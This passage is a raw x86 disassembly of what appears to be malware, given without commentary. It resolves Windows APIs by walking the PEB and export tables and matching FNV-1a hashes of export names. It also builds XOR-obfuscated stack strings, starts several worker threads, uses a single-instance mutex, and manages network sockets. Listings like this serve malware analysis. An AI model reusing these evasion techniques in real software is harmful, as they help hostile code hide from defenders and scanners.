mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4637f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4637f2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4637d5
cmp esi, 0xfaba0065
je 0x4637fd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4637c0
mov eax, dword [eax]
jmp 0x463797
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463889
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463889
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463882
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463865
cmp esi, 0xfaba0065
je 0x46388d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463850
mov eax, dword [eax]
jmp 0x463827
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
call fcn.00450c00
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x459260
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x45b540
push 0
push 0
mov dword [ebp - 0x38], eax
call ebx
push 0
push 0
push 0
push 0x45d630
push 0
push 0
mov dword [ebp - 0x44], eax
call ebx
push 0
push 0
push 0
push 0x45e710
push 0
push 0
mov dword [ebp - 0x50], eax
call ebx
push 0
push 0
push 0
push 0x45ff30
push 0
push 0
mov dword [ebp - 0x8c], eax
call ebx
push 0
push 0
push 0
push 0x460110
push 0
push 0
mov dword [ebp - 0x88], eax
call ebx
push 0
push 0
push 0
push 0x460d50
push 0
push 0
mov dword [ebp - 0x84], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x94], eax
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 0x541d54
call fcn.00468b20
mov byte [ebp - 4], 0x76
sub esp, 0x18
lea eax, [ebp - 0x480]
mov dword [ebp - 0x64], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x77
sub esp, 0x18
lea eax, [ebp - 0x498]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x78
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x541d6c
call fcn.00468b20
mov byte [ebp - 4], 0x79
mov byte [ebp - 4], 0x34
call fcn.0040cfd0
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463a24
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463a24
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463a1d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463a00
cmp esi, 0x71948ca4
je 0x463a28
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4639e8
mov eax, dword [eax]
jmp 0x4639c2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push 0x493e0
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463ab9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463ab9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463ab2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463a95
cmp esi, 0x71948ca4
je 0x463abd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463a80
mov eax, dword [eax]
jmp 0x463a57
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push 0x493e0
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ebx, [ebx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463b64
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463b64
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463b5d
jmp 0x463b40
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463b40
cmp esi, 0x71948ca4
je 0x463b68
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463b26
mov eax, dword [eax]
jmp 0x463b00
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push 0x493e0
push dword [ebp - 0x8c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x88]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jmp 0x463bb0
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463c14
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463c14
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463c0d
jmp 0x463bf0
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463bf0
cmp esi, 0x71948ca4
je 0x463c18
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463bd6
mov eax, dword [eax]
jmp 0x463bb0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push 0x493e0
push dword [ebp - 0x84]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ebx, [ebx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463cb4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463cb4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463cad
jmp 0x463c90
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463c90
cmp esi, 0x71948ca4
je 0x463cb8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463c76
mov eax, dword [eax]
jmp 0x463c50
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push 0x493e0
push dword [ebp - 0x94]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ebx, [ebx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463d54
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463d54
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463d4d
jmp 0x463d30
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463d30
cmp esi, 0xfaba0065
je 0x463d58
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463d16
mov eax, dword [eax]
jmp 0x463cf0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463de4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463de4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463ddd
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463dc0
cmp esi, 0xfaba0065
je 0x463de8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463da8
mov eax, dword [eax]
jmp 0x463d82
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jmp 0x463e20
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463e84
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463e84
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463e7d
jmp 0x463e60
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463e60
cmp esi, 0xfaba0065
je 0x463e88
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463e46
mov eax, dword [eax]
jmp 0x463e20
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push dword [ebp - 0x8c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463f19
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463f19
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
jmp 0x463ee0
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463f12
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463ef5
cmp esi, 0xfaba0065
je 0x463f1d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463ee0
mov eax, dword [eax]
jmp 0x463eb5
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push dword [ebp - 0x88]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ebx, [ebx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x463fb4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x463fb4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x463fad
jmp 0x463f90
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x463f90
cmp esi, 0xfaba0065
je 0x463fb8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x463f76
mov eax, dword [eax]
jmp 0x463f50
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push dword [ebp - 0x84]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x464049
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x464049
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
jmp 0x464010
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x464042
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x464025
cmp esi, 0xfaba0065
je 0x46404d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x464010
mov eax, dword [eax]
jmp 0x463fe5
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
push dword [ebp - 0x94]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0x142]
mov dword [ebp - 0x142], 0x9a8092c9
mov word [ebp - 0x13e], 0x100
call fcn.0040ac50
lea ecx, [ebp - 0xfd]
mov word [ebp - 0xfd], 0xb8
mov esi, eax
mov byte [ebp - 0xfb], 1
call fcn.0040ace0
push eax
lea edx, [ebp - 0x24c]
lea ecx, [ebp - 0x3d0]
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 0x7b
mov ecx, eax
push 0x541d54
call fcn.00468970
push eax
lea ecx, [ebp - 0x420]
call fcn.00402b20
push esi
lea edx, [ebp - 0x420]
mov dword [ebp - 0xd4], 0x800
lea ecx, [ebp - 0x450]
call fcn.0046d100
add esp, 4
mov byte [ebp - 4], 0x7c
mov esi, 0x800
mov dword [ebp - 0xd4], esi
and esi, 0xfffff7ff
mov dword [ebp - 0xd4], esi
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x420]
call fcn.00402c80
mov byte [ebp - 4], 0x7d
lea eax, [ebp - 0x420]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x3d0]
call fcn.00402c80
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x109]
mov dword [ebp - 0x109], 0x9a8092c9
mov word [ebp - 0x105], 0x100
call fcn.00465960
mov edx, 0x17
lea ecx, [ebp - 0x2f8]
call fcn.0040bbe0
mov edx, eax
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x7ec]
lea edi, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464190
sub ecx, edi
lea eax, [ebp - 0x7ec]
push ecx
push eax
push 0
mov ecx, edx
call fcn.00472090
push eax
lea ecx, [ebp - 0x438]
call fcn.00402b20
lea eax, [ebp - 0x109]
or esi, 0x4000
push eax
lea edx, [ebp - 0x438]
mov dword [ebp - 0xd4], esi
lea ecx, [ebp - 0x3e8]
call fcn.0046d100
add esp, 4
mov byte [ebp - 4], 0x87
and esi, 0xffffbfff
mov dword [ebp - 0xd4], esi
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0x438]
call fcn.00402c80
mov byte [ebp - 4], 0x88
lea eax, [ebp - 0x438]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x2f8]
call fcn.00402c80
mov byte [ebp - 4], 0x8c
lea eax, [ebp - 0x2f8]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x8c
mov ecx, 0x5443c8
call fcn.004687e0
lea ecx, [ebp - 0x3e8]
mov ebx, eax
call fcn.004687e0
sub esp, 0x18
mov edi, eax
mov esi, esp
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], esi
mov ecx, esi
mov dword [ebp - 0x38], esi
call fcn.00402f30
mov byte [ebp - 4], 0x91
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464260
cmp byte [0x544068], 0
je 0x464576
cmp dword [ebp - 0x68], 0
jne 0x464576
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 0x544378
call fcn.00466350
mov byte [ebp - 4], 0xab
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x544210
call fcn.00466350
mov byte [ebp - 4], 0xac
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x544320
call fcn.00466350
mov byte [ebp - 4], 0xad
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x544340
call fcn.00466350
mov byte [ebp - 4], 0xae
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x38], esp
push 0x544330
call fcn.00466350
mov byte [ebp - 4], 0xaf
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x44], esp
push 0x544248
call fcn.00466350
mov byte [ebp - 4], 0xb0
sub esp, 0x18
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x50], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0xb1
mov byte [ebp - 4], 0x34
call fcn.004193a0
add esp, 0x78
test al, al
je 0x464576
call fcn.00416f30
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0x264]
call fcn.00402c80
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x264]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0xb5
lea ecx, [ebp - 0x27c]
call fcn.00402c80
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x27c]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0xb8
lea ecx, [ebp - 0x294]
call fcn.00402c80
mov byte [ebp - 4], 0x31
lea eax, [ebp - 0x294]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0x52c]
call fcn.00464a60
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x534]
call fcn.00464ae0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x498]
call fcn.0041d7e0
push str._drthdrthdrthdr_hrtd_hr
call ebx
cmp byte [0x544068], 0
mov ebx, dword [ebp - 0x68]
je 0x4647ec
test ebx, ebx
je 0x4647ec
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 0x544378
call fcn.00466350
mov byte [ebp - 4], 0xbe
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x544210
call fcn.00466350
mov byte [ebp - 4], 0xbf
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x544320
call fcn.00466350
mov byte [ebp - 4], 0xc0
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x544340
call fcn.00466350
mov byte [ebp - 4], 0xc1
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x38], esp
push 0x544330
call fcn.00466350
mov byte [ebp - 4], 0xc2
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x44], esp
push 0x544248
call fcn.00466350
mov byte [ebp - 4], 0xc3
sub esp, 0x18
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x50], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0xc4
mov byte [ebp - 4], 0x12
call fcn.004193a0
add esp, 0x78
test al, al
je 0x4647ec
push 0x541d9c
lea ecx, [ebp - 0x1e2]
mov dword [ebp - 0x1e2], 0x89808494
mov dword [ebp - 0x1de], 0x8781bf80
mov dword [ebp - 0x1da], 0x9cb0958b
mov word [ebp - 0x1d6], 0x97
mov byte [ebp - 0x1d4], 1
call fcn.00409ab0
mov edx, eax
lea ecx, [ebp - 0x5f8]
call fcn.0046d1b0
add esp, 4
mov byte [ebp - 4], 0xc5
mov ecx, eax
call fcn.004687e0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x5f8]
call fcn.00402b10
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x464829
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call edi
sub esp, 0x18
mov dword [ebp - 0x18c], 0xa9a7beaf
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x188], 0x828188c5
mov word [ebp - 0x184], 0x100
mov esi, esp
mov dword [ebp - 0x4c], esp
call fcn.0040ece0
push eax
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0xc6
mov byte [ebp - 4], 0x12
call fcn.0041edb0
mov ecx, dword [0x5443b0]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5443ac]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4647e3
mov edi, edi
push 0x64
call edi
mov ecx, dword [0x5443b0]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5443ac]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4647c0
mov byte [0x544041], 1
jmp 0x4647f2
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call edi
push 2
push dword [0x540b1c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x540b1c]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x544068], 0
je 0x464829
test ebx, ebx
je 0x464829
push 0x3e8
call edi
jmp 0x464820
xor esi, esi
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0x2b8]
call fcn.00402c80
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x2b8]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0xca
lea ecx, [ebp - 0x3a0]
call fcn.00402c80
mov byte [ebp - 4], 9
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0x24c]
call fcn.00402c80
mov byte [ebp - 4], 5
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 5
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x220]
test ecx, ecx
je 0x464896
call fcn.00403d80
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x468]
call fcn.00402c80
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x468]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10